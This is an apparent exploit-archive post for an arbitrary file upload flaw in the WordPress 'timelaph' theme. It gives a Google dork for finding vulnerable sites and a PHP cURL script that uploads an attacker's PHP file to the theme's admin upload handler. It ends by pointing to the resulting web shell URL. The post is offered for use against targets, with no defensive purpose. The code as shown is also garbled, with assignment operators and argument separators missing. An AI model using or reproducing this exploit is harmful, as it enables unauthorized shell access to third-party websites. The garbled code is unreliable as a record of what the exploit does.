facebook facebook twitter rss

Wordpress timelaph Theme File upload Vulnerability

Author: AnonBoy , Published: 17-02-2015
#Title : Wordpress timelaph Theme File upload Vulnerability  



#Author : dolah aka AnonBoy



#Date : 12/2/2015

i dont have facebook, twitter, path or other else, if you need in touch

contact me Email : dolah.seuman@gmail.com

TeAM : Aceh Cyber Team | TNCA | Street Cyber | Cyber Cilet - Cilet

#Vendor : http://freewpmedia.com/timelaph/

#google Dork : inurl:/wp-content/themes/timelaph

#Tested on : windows


################################################

<?php

$uploadfile
="yourfilebro.php";

$target "http://www.youtarget.com/";

$domain explode("/"$target);

$server_addr gethostbyname($domain[2]);

$ch curl_init($target."/wp-content/themes/timelaph/admin/upload-file.php");

curl_setopt($chCURLOPT_POSTtrue);

curl_setopt($chCURLOPT_VERBOSEfalse);

curl_setopt($chCURLOPT_POSTFIELDS,array(md5($server_addr)=>"@$uploadfile",'upload_path'=>base64_encode('.')));

curl_setopt($ch,CURLOPT_RETURNTRANSFER1);

$postResult curl_exec($ch);

curl_close($ch);

print 
"$postResult";

?>



=================================================================================

your shell access : yourtarget.com/wp-content/themes/timelaph/admin/yourshell.php


################

blue sky and happy landing

Like us on Facebook :